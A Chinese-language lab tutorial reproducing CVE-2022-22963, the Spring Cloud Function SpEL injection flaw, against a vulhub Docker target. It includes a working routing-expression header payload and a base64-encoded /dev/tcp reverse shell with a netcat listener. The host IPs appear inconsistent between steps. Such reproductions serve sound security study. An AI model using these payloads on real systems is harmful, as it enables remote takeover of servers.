CVE-2022-22963 Spring Cloud Function SpEL 远程代码执行漏洞复现

一、漏洞介绍

漏洞名称:Spring Cloud Function SpEL 远程代码执行漏洞

危害等级:高危

漏洞概述:由于Spring CloudFunction中RoutingFunction类的apply方法将请求头中的”spring.cloud.function.routing-expression”参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,当使用路由功能时,攻击者可利用该漏洞远程执行任意代码。

二、搭建环境

1、使用vulhub,利用docker搭建

git clone https://github.com/vulhub/vulhub.git
cd vulhub/spring/CVE-2022-22963
docker-compose up -d

2、所需系统/软件环境

Centos7 vulhub靶场 ,主机名:Centos7-docker(20.29)
Centos7 (nc)反弹接收,主机名:Centos7-(20.32)
Windows攻击机, Burpsuite 软件

984251c722a8f056c985d6ec543eee1e.png

3、查看服务

http://172.16.20.32:8080/functionRouter

24844b3b2db1369f659eb1583317bc5e.png

三、漏洞复现(简单利用)

1、POC介绍:

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("xxxx")

示例:
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")

2、POC利用

对靶场进行抓包,并将包转换为post型,在转换后的包内添加poc,并发送:

fc42321620c22adae9b266819b8ad4ec.png

3、利用成功

返回到vulhub靶场,进入容器查看: (已经成功创建)

bb673f91fe32c9c60321eeb5a00e1d42.png

四、漏洞利用 (高级利用 反弹shell)

反弹Shell命令一键生成

base64加密网站

1、在攻击机Centos7 上监听,命令 nc -lvnp 12345

a2f846ee77cc8b595c6673e1c8d7e6da.png
0ebcb892e90f80c28fea359bf060c94c.png

2、反弹shell命令

要经过base64加密(不加密无法成功的),反弹shell命令:

sh -i >& /dev/tcp/172.16.20.29/12345 0>&1

进行base64加密

bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTcyLjE2LjIwLjI5LzEyMzQ1IDA+JjE=}|{base64,-d}|{bash,-i}

4b0abb6dec80d9b3901faf072d29e08d.png

3、漏洞利用

加密后的命令加入数据包重发包:

POC:

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("xxxx")

示例:
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTcyLjE2LjIwLjI5LzEyMzQ1IDA+JjE=}|{base64,-d}|{bash,-i}")

12de3b01c3114d578fb1c2e94b0cb5ad.png

3、结果

返回nc所在操作系统,反弹shell成功:

ffe07d05e8207abc0a647375a4a93fe2.png